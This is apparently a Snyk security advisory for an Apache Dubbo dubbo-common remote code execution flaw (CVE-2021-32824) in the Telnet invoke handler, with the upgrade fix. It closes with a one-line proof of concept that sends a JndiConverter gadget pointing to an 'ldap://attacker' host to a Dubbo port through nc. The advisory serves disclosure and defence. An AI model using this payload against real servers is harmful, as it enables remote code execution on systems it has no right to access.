Remote Code Execution (RCE) Affecting org.apache.dubbo:dubbo-common package, versions [,2.7.10)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGAPACHEDUBBO-3188561
- published 4 Jan 2023
- disclosed 4 Jan 2023
- credit GitHub Security Lab
Introduced: 4 Jan 2023
CVE-2021-32824 Open this link in a new tabHow to fix?
Upgrade org.apache.dubbo:dubbo-common to version 2.7.10 or higher.
Overview
org.apache.dubbo:dubbo-common is a high-performance, java based, open source RPC framework.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via arbitrary bean manipulation in the Telnet handler. This endpoint is unprotected and can be accessed via the Dubbo main service port to collect information, execute methods exposed by the service, and shut down the application. A provider method can be invoked using the invoke handler, which later uses PojoUtils.realize which can be used to instantiate arbitrary classes and invoke its setters.
PoC
echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://attacker/foo'})" | nc -i 1 dubbo_server 20880